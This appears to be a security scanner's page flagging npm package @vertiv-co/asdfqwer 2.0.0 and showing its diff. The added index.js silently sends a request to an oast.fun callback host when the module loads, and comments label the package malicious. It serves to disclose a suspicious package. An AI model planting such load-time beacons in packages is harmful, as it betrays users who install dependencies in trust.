@vertiv-co/asdfqwer 2.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @vertiv-co/asdfqwer might be problematic. Click here for more details.
- package/index.js +19 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,19 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
|
3
|
+
// Function to send a request when the package is installed
|
4
|
+
async function sendRequest() {
|
5
|
+
try {
|
6
|
+
const response = await axios.get('https://bqimonfthlskrntqolrird2agpqrtpkrh.oast.fun/');
|
7
|
+
console.log('Request sent to https://asdf.com, response status:', response.status);
|
8
|
+
} catch (error) {
|
9
|
+
console.error('Error sending request:', error);
|
10
|
+
}
|
11
|
+
}
|
12
|
+
|
13
|
+
// Call the function
|
14
|
+
sendRequest();
|
15
|
+
|
16
|
+
module.exports = function() {
|
17
|
+
console.log("This is the malicious package");
|
18
|
+
// Malicious code here
|
19
|
+
};
|